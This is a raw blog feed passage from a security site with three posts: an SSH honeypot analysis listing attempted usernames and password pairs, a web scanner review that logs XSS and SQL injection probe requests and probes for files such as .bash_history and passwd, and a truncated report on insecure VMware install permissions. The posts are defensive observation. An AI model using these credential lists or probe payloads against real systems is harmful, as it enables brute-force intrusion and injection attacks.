nobody&lt;br /&gt;  69  123&lt;br /&gt;  65  1234&lt;br /&gt;  63  nick&lt;br /&gt;  59  webadmin&lt;br /&gt;  50  webmaster&lt;br /&gt;  49  oracle&lt;br /&gt;  48  web&lt;br /&gt;  46  password&lt;br /&gt;  43  news&lt;br /&gt;  42  info&lt;br /&gt;  40  sysadm&lt;br /&gt;  37  mysql&lt;br /&gt;  36  eqidemo&lt;br /&gt;  36  cvsadm&lt;br /&gt;  34  spam&lt;br /&gt;  31  administrator&lt;br /&gt;  30  uploader&lt;br /&gt;  28  lp&lt;br /&gt;  27  system&lt;br /&gt;  27  john&lt;br /&gt;  27  jack&lt;br /&gt;  27  fred&lt;br /&gt;  27  bill&lt;br /&gt;  26  visitor&lt;br /&gt;  26  daily&lt;br /&gt;  26  cstrike&lt;br /&gt;  25  techsupport&lt;br /&gt;  25  sql&lt;br /&gt;  25  smtp&lt;br /&gt;  23  qwerty&lt;br /&gt;  23  michael&lt;br /&gt;  22  weblogic&lt;br /&gt;  22  webalizer&lt;br /&gt;  22  toor&lt;br /&gt;  22  sys&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Complex password logged&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Most of the scan attempts were using very common passwords, but some of them had really complex passwords that I can only imagine that are used as backdoors or as default passwords for some common systems. Anyone have clues? I "googled" and didn't find anything..&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight:bold;"&gt;# USER, PASS&lt;/span&gt;&lt;br /&gt;   5  software, cvsroot&lt;br /&gt;   5  soft123, sourceforge&lt;br /&gt;   5  rosymdelfin, conautoveracruz&lt;br /&gt;   1  root, tiganilaflorinteleorman&lt;br /&gt;   1  belltrix, spaf@r?_ene59p9e9rewr*katr&lt;br /&gt;   1  tiganilaflorinteleorman, root&lt;br /&gt;   1  morrigan, siamouziesw7unla70lafrl3t0l3frle4lu&lt;br /&gt;   1  sadmin, &amp;thecentercannothold&amp;&lt;br /&gt;   1  saddleman357, safe&lt;br /&gt;   1  sachin, f9uthlavIaPhlawroEXi&lt;br /&gt;   1  admin, b#5rum$ph!r!Keyufawre?a3r6&lt;br /&gt;   1  miquelfi, B|*Nsq|TO$~b&lt;br /&gt;   1  root, an0th3rd@y&lt;br /&gt;   1  admin, 63375312012a&lt;br /&gt;   1  root, zEfrephaq5qAnedufrethekuW&lt;br /&gt;   1  root, z1x2c3v4b5n6&lt;br /&gt;   1  root, xsw21qaz&lt;br /&gt;   1  root, wiu2ludrlamoatiuTriu&lt;br /&gt;   1  root, teiubescdartunumaiubestiasacahaidesaterminam&lt;br /&gt;   1  root, siamouziesw7UNla70lafrl3t0l3frlE4lU&lt;br /&gt;   1  root, rough46road15&lt;br /&gt;   1  root, fiatmx1q2w3e&lt;br /&gt;   1  root, empire12&lt;br /&gt;   1  root, efKO1$4?&lt;br /&gt;   1  root, eempire99&lt;br /&gt;   1  root, discovery&lt;br /&gt;   1  root, dave&lt;br /&gt;   1  root, d3lt4f0rc3&lt;br /&gt;   1  root, celes3cat&lt;br /&gt;   1  root, bleCroujouwLUswOEdrlAfo6w&lt;br /&gt;   1  root, bUspamaxegEGuyU52PEt6estU&lt;br /&gt;   1  root, asdfghjkl&lt;br /&gt;   1  root, apple&lt;br /&gt;   1  root, apache&lt;br /&gt;   1  root, an0th3rd@y&lt;br /&gt;   1  root, admin321321&lt;br /&gt;   1  root, admin1&lt;br /&gt;   1  root, admin&lt;br /&gt;   1  root, abcd1234&lt;br /&gt;   1  root, a1s2d3f4g5h6&lt;br /&gt;   1  root, WrIaRoeThIespOeh3AwriufLetiu7Tlu11u&lt;br /&gt;   1  root, QT3CUCCj&lt;br /&gt;   1  root, Pr99*35a!ra-EwruvU3E@rAtUk&lt;br /&gt;   1  root, N6a4t4u8OEwiaW8i7HLaqLaki&lt;br /&gt;   1  root, Liteon81&lt;br /&gt;   1  root, B_$Aj3y3#UCraveVE5e23er@P4&lt;br /&gt;   1  root, BP5FbGRr&lt;br /&gt;   1  root, 63375312012a&lt;br /&gt;   1  root, 1z2x3c4v5b6n&lt;br /&gt;   1  root, 1qaz2wsx&lt;br /&gt;   1  root, 1q2w3e4r5t6y&lt;br /&gt;   1  root, 1q2w3e4r5t&lt;br /&gt;   1  root, 1q2w3e4r&lt;br /&gt;   1  root, 1a2s3d4f5g6hy&lt;br /&gt;   1  root, +#SGU9&amp;rbf-#&lt;br /&gt;   1  root, !@#$%^&amp;*(&lt;br /&gt;   1  root, !@#$%&lt;br /&gt;   1  root, !@#$&lt;br /&gt;   1  root, !@#&lt;br /&gt;   1  root, +#sgu9&amp;rbf-#&lt;br /&gt;   1  root, )(*&amp;^%$#@!&lt;br /&gt;   1  root, &amp;thecentercannothold&amp;&lt;br /&gt;   1  root, %5%7%4%5%1%4%8%7&lt;br /&gt;   1  oracle, $changeme$&lt;br /&gt;   1  nobody, $changeme$&lt;br /&gt;   1  news, $changeme$&lt;br /&gt;   1  $ passwd&lt;br /&gt;   1  root, !@#$%^&amp;*()&lt;br /&gt;   1  root, !!!&lt;br /&gt;   1  qeqawrexudaducu7eyuswacez, root&lt;br /&gt;   1  qazwsxeds, root&lt;br /&gt;   1  qazwsxedc, root&lt;br /&gt;   1  qazwsx, user&lt;br /&gt;   1  q16060502141279, q16060502141279&lt;br /&gt;   1  pr99*35a!ra-ewruvu3e@ratuk, admin&lt;br /&gt;   1  n6a4t4u8oewiaw8i7hlaqlaki, root&lt;br /&gt;   1  admin, miemleh9esplawriuthiewias&lt;br /&gt;   1  admin, J34a47nu&lt;br /&gt;   1  zefrephaq5qanedufrethekuw, sadmin&lt;br /&gt;   1  zander, zechsmerquise88&lt;br /&gt;   1  root, zaxscd13524&lt;br /&gt;   1  zander, zechsmerquise88&lt;br /&gt;   1  yxwvutseqponmlkjihgfedcba, root&lt;br /&gt;   1  yuneneli, z11060510412854&lt;br /&gt;   1  yourdotw, ip46262&lt;br /&gt;   1  xgridagent, xgridcontroller&lt;br /&gt;   1  xj050i7bfa, root&lt;br /&gt;   1  wriaroethiespoeh3awriufletiu7tlu11u, kjetter&lt;br /&gt;   1  root, wolfiz0r@&lt;br /&gt;   1  admin, wolfiz0r@&lt;br /&gt;   1  wmassma, wolf&lt;br /&gt;   1  wlp, wmassma&lt;br /&gt;   1  wlan, wlp&lt;br /&gt;   1  wkoweg, wlan&lt;br /&gt;   1  root, wiu2ludrlamoatiutriu&lt;br /&gt;   1  ups650cl, lbjlive&lt;br /&gt;   1  root, unlocker&lt;br /&gt;   1  u33977059, ubuntu&lt;br /&gt;   1  u231006, u33977059&lt;br /&gt;   1  u208417, u231006&lt;br /&gt;   1  u207114, u208417&lt;br /&gt;   1  tyson, u207114&lt;br /&gt;   1  ska, skandinavia&lt;br /&gt;   1  sjfconsulting, ska&lt;br /&gt;   1  sjaekel, sjfconsulting&lt;br /&gt;&lt;/blockquote&gt;That's it.. If you want me to run more queries or generate more stats, let me know and I will update this post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-6091294027564396365?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/A4TBsclaS_nrGdpxdorCOpIa7CM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A4TBsclaS_nrGdpxdorCOpIa7CM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/A4TBsclaS_nrGdpxdorCOpIa7CM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A4TBsclaS_nrGdpxdorCOpIa7CM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/Fro_dDMUkNg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/6091294027564396365/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/honeypot-analysis-looking-at-ssh-scans.html#comment-form" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6091294027564396365?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/6091294027564396365?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/Fro_dDMUkNg/honeypot-analysis-looking-at-ssh-scans.html" title="Honeypot analysis - Looking at SSH scans" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/honeypot-analysis-looking-at-ssh-scans.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcFQXsyeCp7ImA9WxBRGUU.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-169830689996227926</id><published>2010-01-08T14:55:00.005-05:00</published><updated>2010-01-08T15:36:50.590-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-08T15:36:50.590-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="scan" /><category scheme="http://www.blogger.com/atom/ns#" term="sucuri" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>A closer look at the iiscan</title><content type="html">The free &lt;a href="http://www.iiscan.com/"&gt;IIScan&lt;/a&gt; was recently announced on the full-disclosure list and I took the time to review it. They announced it as a new generation web app security platform to detect XSS, sql injection, etc. All online and free.&lt;br /&gt;&lt;br /&gt;Let's see how it worked... I tried it against the &lt;a href="http://sucuri.net"&gt;http://sucuri.net&lt;/a&gt; site and that's what they did:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;IP addresses used&lt;/strong&gt;&lt;br /&gt;They used two ips: 216.18.22.46 and 58.60.26.171&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;User agent&lt;/strong&gt;&lt;br /&gt;That's what their user agent looked like: &lt;span style="font-style:italic;"&gt;"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) NOSEC.JSky/1.0"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Actions&lt;/strong&gt;&lt;br /&gt;They started by trying to check the 404 results and getting a few initial files:&lt;br /&gt;&lt;pre&gt;&lt;small&gt;GET / HTTP/1.0 200&lt;br /&gt;GET /never_could_exist_file.nosec HTTP/1.0 404 &lt;br /&gt;GET /never_could_exist_file_nosec.aspx HTTP/1.0 404&lt;br /&gt;GET /robots.txt HTTP/1.1 404&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After that, they tried the PUT, TRACE, TRACK and DELETE methods (sometimes more than once for the same file):&lt;br /&gt;&lt;pre&gt;&lt;small&gt;TRACE /TRACE_test HTTP/1.1 200&lt;br /&gt;PUT /jsky_web_scanner_test_file.txt HTTP/1.1 405&lt;br /&gt;PUT /jsky_test.txt HTTP/1.1 405&lt;br /&gt;DELETE /Jsky_test_no_exists_file.txt HTTP/1.1 405&lt;br /&gt;TRACE /TRACE_test HTTP/1.1 200&lt;br /&gt;TRACK /TRACK_test HTTP/1.1 501&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After that they tried a few more simple attacks:&lt;br /&gt;&lt;pre&gt;&lt;small&gt;GET /%3Cscript%3Ealert(42873) HTTP/1.1 404&lt;br /&gt;GET /%3Cscript%3Ealert(42873).do HTTP/1.1 404&lt;br /&gt;GET /%3Cscript%3Ealert(42873) HTTP/1.1 404&lt;br /&gt;GET /%3Cscript%3Ealert(42873).do HTTP/1.1 404&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Then looked for common mistakes, like zipped php files, logs expose, etc. Plus it checked for common application directories (wp-content, etc):&lt;br /&gt;&lt;pre&gt;&lt;small&gt;&lt;br /&gt;GET /_vti_bin/_vti_adm/admin.dll HTTP/1.1 404&lt;br /&gt;GET / HTTP/1.0 200&lt;br /&gt;GET /_vti_bin/_vti_aut/author.dll HTTP/1.1 404&lt;br /&gt;GET /sitemap.gz HTTP/1.1 404&lt;br /&gt;GET /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1 404&lt;br /&gt;GET /INSTALL.mysql.txt HTTP/1.1 404&lt;br /&gt;GET / HTTP/1.0 200&lt;br /&gt;GET /server-info HTTP/1.1 404&lt;br /&gt;GET /install.php HTTP/1.1 404&lt;br /&gt;GET /FCKeditor/editor/filemanager/upload/test.html HTTP/1.1 404&lt;br /&gt;GET / HTTP/1.0 200&lt;br /&gt;GET /robots.txt HTTP/1.1 404&lt;br /&gt;GET /never_could_exist_file.nosec HTTP/1.0 404&lt;br /&gt;GET /uploads/ HTTP/1.1 404&lt;br /&gt;GET /never_could_exist_file_nosec.aspx HTTP/1.0 404&lt;br /&gt;GET / HTTP/1.1 200&lt;br /&gt;GET /wp-content/ HTTP/1.1 404&lt;br /&gt;GET /index.php.bak HTTP/1.0 404&lt;br /&gt;GET /logfiles/ HTTP/1.1 404&lt;br /&gt;GET / HTTP/1.1 200&lt;br /&gt;GET /index.php.BAK HTTP/1.0 404&lt;br /&gt;PUT /jsky_test.txt HTTP/1.1 405&lt;br /&gt;GET /index.php.zip HTTP/1.0 404&lt;br /&gt;GET /jsp-examples/ HTTP/1.1 404&lt;br /&gt;GET /index.php.bak HTTP/1.0 404&lt;br /&gt;GET /sitemap.gz HTTP/1.1 404&lt;br /&gt;GET /index.php.BAK HTTP/1.0 404&lt;br /&gt;GET /INSTALL.mysql.txt HTTP/1.1 404&lt;br /&gt;GET /install.php HTTP/1.1 404&lt;br /&gt;GET /index.php.zip HTTP/1.0 404&lt;br /&gt;GET /_vti_bin/_vti_adm/admin.dll HTTP/1.1 404&lt;br /&gt;GET /rss.xml HTTP/1.1 302&lt;br /&gt;GET /index.php.ZIP HTTP/1.0 404&lt;br /&gt;GET /FCKeditor/editor/filemanager/upload/test.html HTTP/1.1 404&lt;br /&gt;GET /_vti_bin/_vti_aut/author.dll HTTP/1.1 404&lt;br /&gt;GET /_vti_bin/shtml.exe?_vti_rpc HTTP/1.1 404&lt;br /&gt;GET /index.php.tar.gz HTTP/1.0 404&lt;br /&gt;GET /uploads/ HTTP/1.1 404&lt;br /&gt;GET /index.php.temp HTTP/1.0 404&lt;br /&gt;GET /server-info HTTP/1.1 404&lt;br /&gt;GET /wp-content/ HTTP/1.1 404&lt;br /&gt;GET /logfiles/ HTTP/1.1 404&lt;br /&gt;GET /index.php.save HTTP/1.0 404&lt;br /&gt;GET /main.css HTTP/1.1 200&lt;br /&gt;GET /index.php.backup HTTP/1.0 404&lt;br /&gt;GET /jsp-examples/ HTTP/1.1 404&lt;br /&gt;GET /index.php.orig HTTP/1.0 404&lt;br /&gt;GET /log/ HTTP/1.1 404&lt;br /&gt;GET /index.php~ HTTP/1.0 404&lt;br /&gt;GET /data/ HTTP/1.1 404&lt;br /&gt;GET /logs/ HTTP/1.1 404&lt;br /&gt;GET /index.php~1 HTTP/1.0 404&lt;br /&gt;GET /index.php.cs HTTP/1.0 404&lt;br /&gt;GET /datas/ HTTP/1.1 404&lt;br /&gt;GET /?page=home HTTP/1.1 200&lt;br /&gt;GET /index.php.java HTTP/1.0 404&lt;br /&gt;GET /example/ HTTP/1.1 404&lt;br /&gt;GET /index.php.class HTTP/1.0 404&lt;br /&gt;GET /examples/ HTTP/1.1 404&lt;br /&gt;GET /index.php.rar HTTP/1.0 404&lt;br /&gt;GET /upload/ HTTP/1.1 404&lt;br /&gt;GET /WebService/ HTTP/1.1 404&lt;br /&gt;GET /index.php.tmp HTTP/1.0 404&lt;br /&gt;GET /inc/ HTTP/1.1 404&lt;br /&gt;GET /include/ HTTP/1.1 404&lt;br /&gt;GET /old/ HTTP/1.1 404&lt;br /&gt;GET /manage/ HTTP/1.1 404&lt;br /&gt;GET /db/ HTTP/1.1 404&lt;br /&gt;GET /aspnet/ HTTP/1.1 404&lt;br /&gt;GET /htdocs/ HTTP/1.1 404&lt;br /&gt;GET /conf/ HTTP/1.1 404&lt;br /&gt;GET /config/ HTTP/1.1 404&lt;br /&gt;GET /private/ HTTP/1.1 404&lt;br /&gt;GET /admin/ HTTP/1.1 404&lt;br /&gt;GET /administrator/ HTTP/1.1 404&lt;br /&gt;GET /webadmin/ HTTP/1.1 404&lt;br /&gt;GET /database/ HTTP/1.1 404&lt;br /&gt;GET /samples/ HTTP/1.1 404&lt;br /&gt;GET /member/ HTTP/1.1 404&lt;br /&gt;GET /members/ HTTP/1.1 404&lt;br /&gt;GET /pass.txt HTTP/1.1 404&lt;br /&gt;GET /passwd HTTP/1.1 404&lt;br /&gt;GET /users.txt HTTP/1.1 404&lt;br /&gt;GET /users.ini HTTP/1.1 404&lt;br /&gt;GET /install.log HTTP/1.1 403&lt;br /&gt;GET /database.inc HTTP/1.1 404&lt;br /&gt;GET /.bash_history HTTP/1.1 404&lt;br /&gt;GET /.bashrc HTTP/1.1 404&lt;br /&gt;GET /Web.config HTTP/1.1 404&lt;br /&gt;GET /Global.asax HTTP/1.1 404&lt;br /&gt;GET /Global.asa HTTP/1.1 404&lt;br /&gt;GET /Global.asax.cs HTTP/1.1 404&lt;br /&gt;GET /test.asp HTTP/1.1 404&lt;br /&gt;GET /test.php HTTP/1.1 404&lt;br /&gt;GET /test.jsp HTTP/1.1 404&lt;br /&gt;GET /test.aspx HTTP/1.1 404&lt;br /&gt;GET /admin.asp HTTP/1.1 404&lt;br /&gt;GET /data.mdb HTTP/1.1 404&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After that, they detected my page structure and tried a few SQL injections, XSS and other attacks on them:&lt;br /&gt;&lt;pre&gt;&lt;small&gt;GET /index.php?page=scan&amp;page=scan?scan=88888 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%20and%205=5 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%20and%205=6 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888'%20and%20'5'='5 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888'%20and%20'5'='6 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888' HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%20and%205=5 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888'%20and%20'5'='5 HTTP/1.0 200&lt;br /&gt;GET /index.php?page=scan&amp;page=scan?scan=88888%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 200&lt;br /&gt;GET /index.html?page=home%3Cscript%3Ealert(42873)%3C/script%3E HTTP/1.1 404&lt;br /&gt;GET /index.html?page=homealert(42873) HTTP/1.1 404&lt;br /&gt;GET /index.html?page=home%2527 HTTP/1.0 404&lt;br /&gt;GET /?page=docs&amp;title=daily HTTP/1.1 200&lt;br /&gt;GET /index.html?page=home' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%5C' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%5C%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=homeJyI%3D HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%bf%27 HTTP/1.0 404&lt;br /&gt;GET /?page=practical&amp;pid=13 HTTP/1.1 200&lt;br /&gt;GET /index.html?page=home HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home/ HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%20and%205=6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home'%20and%20'5'='6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=home%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;They also found another page inside (the daily tips) and tried more attacks:&lt;br /&gt;&lt;pre&gt;&lt;small&gt;GET /index.html?page=docs&amp;title=daily' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%2527 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%5C' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%5C%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=dailyJyI%3D HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%bf%27 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily/ HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%20and%205=6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily'%20and%20'5'='6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=docs&amp;title=daily%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%3Cscript%3Ealert(42873)%3C/script%3E HTTP/1.1 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13alert(42873) HTTP/1.1 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%2527 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%5C' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%5C%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13JyI%3D HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%bf%27 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13'%22 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13/ HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%20and%205=6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13'%20and%20'5'='6 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%25'%20and%205=6%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13' HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%20and%205=5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13'%20and%20'5'='5 HTTP/1.0 404&lt;br /&gt;GET /index.html?page=practical&amp;pid=13%25'%20and%205=5%20and%20'%25'=' HTTP/1.0 404&lt;br /&gt;&lt;/small&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And that was the whole scan. The only issue they found was that we allowed the TRACE method, but I think they did a good job looking for different types of vulnerabilities.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1807932947703258405-169830689996227926?l=blog.sucuri.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hUraWUVdgOqc1tZeKdo9CGzDBV0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hUraWUVdgOqc1tZeKdo9CGzDBV0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hUraWUVdgOqc1tZeKdo9CGzDBV0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hUraWUVdgOqc1tZeKdo9CGzDBV0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/SucuriSecurity/~4/uRlMVvybIa8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.sucuri.net/feeds/169830689996227926/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.sucuri.net/2010/01/closer-look-at-iiscan.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/169830689996227926?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1807932947703258405/posts/default/169830689996227926?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SucuriSecurity/~3/uRlMVvybIa8/closer-look-at-iiscan.html" title="A closer look at the iiscan" /><author><name>http://sucuri.net</name><uri>http://www.blogger.com/profile/14980808976404159238</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="18389949574051724815" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://blog.sucuri.net/2010/01/closer-look-at-iiscan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04EQHw-fyp7ImA9WxBRF0U.&quot;"><id>tag:blogger.com,1999:blog-1807932947703258405.post-972149554843040195</id><published>2010-01-06T09:48:00.002-05:00</published><updated>2010-01-06T09:58:21.257-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-06T09:58:21.257-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ossec" /><category scheme="http://www.blogger.com/atom/ns#" term="vmware" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="hacked" /><title>VMware insecure file creation</title><content type="html">If you are using the free VMware server on Linux, beware that the installer is creating files with insecure permissions, allowing any user to modify them.&lt;br /&gt;&lt;br /&gt;I downloaded the latest VMware server (VMware-server-2.0.2-203138.i386) and followed the step-by-step installation script. After it was completed, OSSEC (always to the rescue) sent me a bunch of alerts about new insecure files:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style:italic;"&gt;File '/usr/lib/vmware/hostd/docroot/print.css' is owned by root and has written permissions to anyone.&lt;br /&gt;File '/usr/lib/vmware/hostd/docroot/client/clients.xml' is owned by root and has written permissions to anyone.&lt;br /&gt;File '/usr/lib/vmware/hostd/docroot/sdk/vim.wsdl' is owned by root and has written permissions to anyone.&lt;br /&gt;File '/usr/lib/vmware/hostd/docroot/sdk/vimService.wsdl' is owned by root and has written permissions to anyone.&lt;br /&gt;File '/usr/lib/vmware/hostd/docroot/sdk/vimServiceVersions.xml' is owned by root and has written permissions to anyone.&lt;br /&gt;File '/usr/lib/vmware/hostd/docroot/error-32x32.png' is owned by root and has written permissions to anyone.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;And these are just some of them. Everything under /usr/lib/vmware was created with 777 permissions (open for anyone to read and modify), including the vmware-server-distrib and other directories.&lt;br /&gt;&lt;br /&gt;So, if you run vmware on a system that someone 